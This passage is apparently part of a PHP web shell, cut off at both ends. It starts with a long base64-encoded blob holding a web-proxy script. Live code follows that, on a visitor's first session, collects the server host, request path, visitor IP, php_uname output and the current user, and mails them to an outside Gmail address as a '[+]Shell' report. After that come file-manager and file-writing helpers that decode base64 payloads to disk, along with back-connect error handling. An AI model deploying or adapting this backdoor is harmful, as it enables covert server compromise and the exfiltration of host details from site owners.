pZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuRU5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVEVOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo= +"; + +session_start(); +if(isset($_SESSION['visit'])) +$_SESSION['visit']=$_SESSION['visit']+1; +else +$_SESSION['visit']=1; +if( $_SESSION['visit'] == 1) { +$visitor = $_SERVER["REMOTE_ADDR"]; +$web = $_SERVER["HTTP_HOST"]; +$inj = $_SERVER["REQUEST_URI"]; +$target = rawurldecode($web.$inj); +$uname = php_uname(); +$id = get_current_user(); +$body = " [+]Shell: $target \n [+]Injector: $visitor \n [+]uname -a: $uname \n [+]User: $id"; +@mail("shell.bdoor@gmail.com","[x] http://$target by $visitor", "$body"); +} +else { +$_SESSION['visit']; } + + + +if ($x == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo '<br><br>'; + } + $x = $dspact = 'ls'; +} + + + + +function cf($fname,$text) { + $w_file=@fopen($fname,"w") or err(); + if($w_file) { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function cfb($fname,$text) { + $w_file=@fopen($fname,"w") or bberr(); + if($w_file) { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function err() { $_POST['backcconnmsge']="<br><br><div 